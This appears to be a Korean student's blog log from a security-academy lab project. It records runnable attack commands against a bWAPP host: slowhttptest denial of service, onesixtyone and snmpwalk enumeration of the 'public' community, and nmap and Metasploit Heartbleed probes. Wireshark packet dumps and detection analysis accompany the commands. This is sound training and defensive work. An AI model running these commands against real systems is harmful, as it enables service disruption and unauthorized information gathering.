본문 바로가기
  • 이게 왜 되지...?
시큐리티아카데미 7기 - sk쉴더스트랙/프로젝트

[시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 13일차 - 2026.04.29

by smisooth 2026. 5. 4.

 

 
 
제 부산 맛집 소개해드립니다.
 
https://naver.me/GZZubLN3

네이버지도

춘양가

map.naver.com

 
ㄹㅇ 양고기 맛집
10번 넘게 갔음
다들 부산가면 한 번 가보시길!!
 
 
 
1.   Denial-of-Service (Slow HTTP DoS)
1)  공격
①   slowhttptest -c 1000 -H -g -o slowhttp -i 10 -r 200 -t GET -u http://220.88.200.193:8080/bWAPP/ -x 24 -p 3
 
2)  결과

 
3)  패킷

Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
    Encapsulation type: Ethernet (1)
    Arrival Time: Apr 28, 2026 16:13:26.565679000 대한민국 표준시
    UTC Arrival Time: Apr 28, 2026 07:13:26.565679000 UTC
    Epoch Arrival Time: 1777360406.565679000
    [Time shift for this packet: 0.000000000 seconds]
    [Time delta from previous captured frame: 0.000000000 seconds]
    [Time delta from previous displayed frame: 0.000000000 seconds]
    [Time since reference or first frame: 0.000000000 seconds]
    Frame Number: 1
    Frame Length: 74 bytes (592 bits)
    Capture Length: 74 bytes (592 bits)
    [Frame is marked: False]
    [Frame is ignored: False]
    [Protocols in frame: eth:ethertype:ip:tcp]
    [Coloring Rule Name: TCP SYN/FIN]
    [Coloring Rule String: tcp.flags & 0x02 || tcp.flags.fin == 1]
Ethernet II, Src: Dasan_70:11:2d (00:d0:cb:70:11:2d), Dst: VMware_60:ab:44 (00:0c:29:60:ab:44)
    Destination: VMware_60:ab:44 (00:0c:29:60:ab:44)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Source: Dasan_70:11:2d (00:d0:cb:70:11:2d)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Type: IPv4 (0x0800)
    [Stream index: 0]
Internet Protocol Version 4, Src: 1.233.148.83, Dst: 220.88.200.193
    0100 .... = Version: 4
    .... 0101 = Header Length: 20 bytes (5)
    Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
        0000 00.. = Differentiated Services Codepoint: Default (0)
        .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)
    Total Length: 60
    Identification: 0x1d49 (7497)
    010. .... = Flags: 0x2, Don't fragment
        0... .... = Reserved bit: Not set
        .1.. .... = Don't fragment: Set
        ..0. .... = More fragments: Not set
    ...0 0000 0000 0000 = Fragment Offset: 0
    Time to Live: 51
    Protocol: TCP (6)
    Header Checksum: 0xef1c [validation disabled]
    [Header checksum status: Unverified]
    Source Address: 1.233.148.83
    Destination Address: 220.88.200.193
    [Stream index: 0]
Transmission Control Protocol, Src Port: 51766, Dst Port: 8080, Seq: 0, Len: 0
    Source Port: 51766
    Destination Port: 8080
    [Stream index: 0]
    [Stream Packet Number: 1]
    [Conversation completeness: Incomplete, SYN_SENT (1)]
        ..0. .... = RST: Absent
        ...0 .... = FIN: Absent
        .... 0... = Data: Absent
        .... .0.. = ACK: Absent
        .... ..0. = SYN-ACK: Absent
        .... ...1 = SYN: Present
        [Completeness Flags: ·····S]
    [TCP Segment Len: 0]
    Sequence Number: 0    (relative sequence number)
    Sequence Number (raw): 2394568005
    [Next Sequence Number: 1    (relative sequence number)]
    Acknowledgment Number: 0
    Acknowledgment number (raw): 0
    1010 .... = Header Length: 40 bytes (10)
    Flags: 0x002 (SYN)
        000. .... .... = Reserved: Not set
        ...0 .... .... = Accurate ECN: Not set
        .... 0... .... = Congestion Window Reduced: Not set
        .... .0.. .... = ECN-Echo: Not set
        .... ..0. .... = Urgent: Not set
        .... ...0 .... = Acknowledgment: Not set
        .... .... 0... = Push: Not set
        .... .... .0.. = Reset: Not set
        .... .... ..1. = Syn: Set
            [Expert Info (Chat/Sequence): Connection establish request (SYN): server port 8080]
                [Connection establish request (SYN): server port 8080]
                [Severity level: Chat]
                [Group: Sequence]
        .... .... ...0 = Fin: Not set
        [TCP Flags: ··········S·]
    Window: 64240
    [Calculated window size: 64240]
    Checksum: 0x1936 [unverified]
    [Checksum Status: Unverified]
    Urgent Pointer: 0
    Options: (20 bytes), Maximum segment size, SACK permitted, Timestamps, No-Operation (NOP), Window scale
        TCP Option - Maximum segment size: 1460 bytes
            Kind: Maximum Segment Size (2)
            Length: 4
            MSS Value: 1460
        TCP Option - SACK permitted
            Kind: SACK Permitted (4)
            Length: 2
        TCP Option - Timestamps: TSval 1853873211, TSecr 0
            Kind: Time Stamp Option (8)
            Length: 10
            Timestamp value: 1853873211
            Timestamp echo reply: 0
        TCP Option - No-Operation (NOP)
            Kind: No-Operation (1)
        TCP Option - Window scale: 8 (multiply by 256)
            Kind: Window Scale (3)
            Length: 3
            Shift count: 8
            [Multiplier: 256]
    [Timestamps]
        [Time since first frame in this TCP stream: 0.000000000 seconds]
        [Time since previous frame in this TCP stream: 0.000000000 seconds]

 
 
2.   Insecure SNMP Configuration
1)  pfSense UDP 161 포트 개방 단계
①   방화벽 규칙 메뉴 진입
i.  웹 브라우저를 통해 pfSense 관리 페이지에 접속합니다.
ii.  상단 메뉴에서 Firewall -> Rules를 클릭합니다.
iii.                 여러 인터페이스 탭 중에서 WAN 선택합니다.
②   새로운 규칙 추가
i.  오른쪽 하단의 Add (화살표 위 방향) 버튼을 눌러 규칙을 맨 위에 추가합니다. (방화벽은 위에서부터 순서대로 적용되기 때문입니다.)
③   세부 설정 (Edit Rule)
i.  Action: Pass (통과 허용)
ii.  Interface: WAN (선택한 인터페이스 확인)
iii.                 Address Family: IPv4
iv.                 Protocol: UDP (SNMP는 UDP를 사용하므로 가장 중요합니다!)
v.  Source: Any (테스트 환경이므로 전체 허용, 특정하려면 Kali IP 입력)
vi.                 Destination: Single host or alias 선택 후 220.88.200.193 입력
vii.               Destination Port Range: * From: Custom -> 161 입력
viii.             To: Custom -> 161 입력
ix.                 Description: Allow SNMP for Lab (나중에 알아보기 쉽게 메모)
④   저장 및 적용 (가장 중요!)
i.  맨 아래의 Save 버튼을 클릭합니다.
ii.  페이지 상단에 나타나는 [Apply Changes]라는 초록색 버튼을 반드시 클릭해야 실제 방화벽에 적용됩니다.
 
2)  pfSense에서 SNMP 통로 열기 (NAT & Rule)
①   Firewall > NAT > Port Forward 들어가서 아래 설정해주기
i.  Interface: WAN
ii.  Protocol: UDP (TCP가 아닙니다! 주의하세요)
iii.                 Destination Port Range: 161 (SNMP)
iv.                 Redirect Target IP: Bee-box의 내부 IP
v.  Redirect Target Port: 161
 
3)  공격
①   Community String 찾기
i.  onesixtyone 220.88.200.193
②   정보 추출 (Public 확인 시)
i.  snmpwalk -v 2c -c public 220.88.200.193
 
4)  공격 결과

5)  onesixtyone 탐지 결과


①   패킷 자세히 보기

Frame 889: 85 bytes on wire (680 bits), 85 bytes captured (680 bits)
    Encapsulation type: Ethernet (1)
    Arrival Time: Apr 29, 2026 11:35:35.325507000 대한민국 표준시
    UTC Arrival Time: Apr 29, 2026 02:35:35.325507000 UTC
    Epoch Arrival Time: 1777430135.325507000
    [Time shift for this packet: 0.000000000 seconds]
    [Time delta from previous captured frame: 0.146988000 seconds]
    [Time delta from previous displayed frame: 0.000000000 seconds]
    [Time since reference or first frame: 1.161732000 seconds]
    Frame Number: 889
    Frame Length: 85 bytes (680 bits)
    Capture Length: 85 bytes (680 bits)
    [Frame is marked: False]
    [Frame is ignored: False]
    [Protocols in frame: eth:ethertype:ip:udp:snmp]
    [Coloring Rule Name: UDP]
    [Coloring Rule String: udp]
Ethernet II, Src: Dasan_70:11:2d (00:d0:cb:70:11:2d), Dst: VMware_60:ab:44 (00:0c:29:60:ab:44)
    Destination: VMware_60:ab:44 (00:0c:29:60:ab:44)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Source: Dasan_70:11:2d (00:d0:cb:70:11:2d)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Type: IPv4 (0x0800)
    [Stream index: 1]
Internet Protocol Version 4, Src: 1.233.148.83, Dst: 220.88.200.193
    0100 .... = Version: 4
    .... 0101 = Header Length: 20 bytes (5)
    Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
        0000 00.. = Differentiated Services Codepoint: Default (0)
        .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)
    Total Length: 71
    Identification: 0xb8c1 (47297)
    010. .... = Flags: 0x2, Don't fragment
        0... .... = Reserved bit: Not set
        .1.. .... = Don't fragment: Set
        ..0. .... = More fragments: Not set
    ...0 0000 0000 0000 = Fragment Offset: 0
    Time to Live: 50
    Protocol: UDP (17)
    Header Checksum: 0x548e [validation disabled]
    [Header checksum status: Unverified]
    Source Address: 1.233.148.83
    Destination Address: 220.88.200.193
    [Stream index: 1]
User Datagram Protocol, Src Port: 59706, Dst Port: 161
    Source Port: 59706
    Destination Port: 161
    Length: 51
    Checksum: 0x0dad [unverified]
    [Checksum Status: Unverified]
    [Stream index: 0]
    [Stream Packet Number: 1]
    [Timestamps]
        [Time since first frame: 0.000000000 seconds]
        [Time since previous frame: 0.000000000 seconds]
    UDP payload (43 bytes)
Simple Network Management Protocol
    version: version-1 (0)
    community: public
    data: get-request (0)
        get-request
            request-id: -1
            error-status: noError (0)
            error-index: 0
            variable-bindings: 1 item
                1.3.6.1.2.1.1.1.0: Value (Null)
                    Object Name: 1.3.6.1.2.1.1.1.0 (iso.3.6.1.2.1.1.1.0)
                    Value (Null)
    [Response In: 890]

i.  Protocols in frame
-   eth:ethertype:ip:udp:snmp
-   정확히 SNMP 프로토콜로 인식됨
ii.  Destination Port
-   161
-   SNMP 표준 포트
iii.                 Community
-   public
-   도구가 대입에 성공한 커뮤니티 스트링
iv.                 Data Type
-   get-request
-   정보를 달라고 요청하는 중
v.  Object Name (OID)
-   1.3.6.1.2.1.1.1.0
-   sysDescr를 의미
-   이 서버의 운영체제나 하드웨어 설명(Description)을 보내줘라고 요청하는 것
②   공격 성공의 증거
i.  패킷 가장 마지막 줄에 있는 [Response In: 890]
ii.  이 요청에 대한 응답이 바로 다음 패킷인 890번에 들어있다라고 알려주는 것
 
6)  Snmpwalk 탐지 결과

①   패킷 자세히 보기

Frame 586: 82 bytes on wire (656 bits), 82 bytes captured (656 bits)
    Encapsulation type: Ethernet (1)
    Arrival Time: Apr 29, 2026 13:01:45.630427000 대한민국 표준시
    UTC Arrival Time: Apr 29, 2026 04:01:45.630427000 UTC
    Epoch Arrival Time: 1777435305.630427000
    [Time shift for this packet: 0.000000000 seconds]
    [Time delta from previous captured frame: 0.119929000 seconds]
    [Time delta from previous displayed frame: 0.000000000 seconds]
    [Time since reference or first frame: 1.269660000 seconds]
    Frame Number: 586
    Frame Length: 82 bytes (656 bits)
    Capture Length: 82 bytes (656 bits)
    [Frame is marked: False]
    [Frame is ignored: False]
    [Protocols in frame: eth:ethertype:ip:udp:snmp]
    [Coloring Rule Name: UDP]
    [Coloring Rule String: udp]
Ethernet II, Src: Dasan_70:11:2d (00:d0:cb:70:11:2d), Dst: VMware_60:ab:44 (00:0c:29:60:ab:44)
    Destination: VMware_60:ab:44 (00:0c:29:60:ab:44)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Source: Dasan_70:11:2d (00:d0:cb:70:11:2d)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Type: IPv4 (0x0800)
    [Stream index: 1]
Internet Protocol Version 4, Src: 1.233.148.83, Dst: 220.88.200.193
    0100 .... = Version: 4
    .... 0101 = Header Length: 20 bytes (5)
    Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
        0000 00.. = Differentiated Services Codepoint: Default (0)
        .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)
    Total Length: 68
    Identification: 0x60a2 (24738)
    010. .... = Flags: 0x2, Don't fragment
        0... .... = Reserved bit: Not set
        .1.. .... = Don't fragment: Set
        ..0. .... = More fragments: Not set
    ...0 0000 0000 0000 = Fragment Offset: 0
    Time to Live: 50
    Protocol: UDP (17)
    Header Checksum: 0xacb0 [validation disabled]
    [Header checksum status: Unverified]
    Source Address: 1.233.148.83
    Destination Address: 220.88.200.193
    [Stream index: 1]
User Datagram Protocol, Src Port: 33626, Dst Port: 161
    Source Port: 33626
    Destination Port: 161
    Length: 48
    Checksum: 0x9d9e [unverified]
    [Checksum Status: Unverified]
    [Stream index: 0]
    [Stream Packet Number: 1]
    [Timestamps]
        [Time since first frame: 0.000000000 seconds]
        [Time since previous frame: 0.000000000 seconds]
    UDP payload (40 bytes)
Simple Network Management Protocol
    version: v2c (1)
    community: public
    data: get-next-request (1)
        get-next-request
            request-id: 936559882
            error-status: noError (0)
            error-index: 0
            variable-bindings: 1 item
                1.3.6.1.2.1: Value (Null)
                    Object Name: 1.3.6.1.2.1 (iso.3.6.1.2.1)
                    Value (Null)
    [Response In: 587]

②   분석하기
i.  Protocol: SNMP (UDP 161번 포트 사용)
ii.  Version: v2c
-   보안 기능(인증/암호화)이 거의 없는 버전
-   평문으로 통신하기 때문에 지금처럼 와이어샤크에서 모든 내용을 다 볼 수 있는 거
iii.                 Community String: public
-   서버에 접근하기 위한 암호가 'public'이라는 기본값으로 설정되어 있음을 공격자가 알아내어 악용하고 있는 모습임
iv.                 PDU Type: get-next-request (1)
-   이게 핵심임
-   단순 조회(get-request)가 아니라, "지금 데이터 다음 데이터를 계속 보내줘"라고 요청하는 방식
-   snmpwalk는 이 요청을 반복해서 서버의 데이터를 처음부터 끝까지 훑어버림
v.  Object Name (OID): 1.3.6.1.2.1 (iso.3.6.1.2.1)
-   이 주소는 MIB-II의 최상위 루트에 가까움
-   서버가 가진 모든 시스템 정보를 다 털겠다는 의도로 시작점을 찍은 것
 
 
3.   Heartbleed Vulnerability
1)  공격
①   sudo nmap -Pn -sV -p 443 --script ssl-heartbleed 220.88.200.193
②   msfconsole -q -x "use auxiliary/scanner/ssl/openssl_heartbleed; set RHOSTS 220.88.200.193; set RPORT 443; set verbose true; set LEAK_COUNT 1; run"
 
2)  결과 확인

3)  패킷 분석
①   공격이 안들어감
②   아마 버전 불일치일 수도 있을 것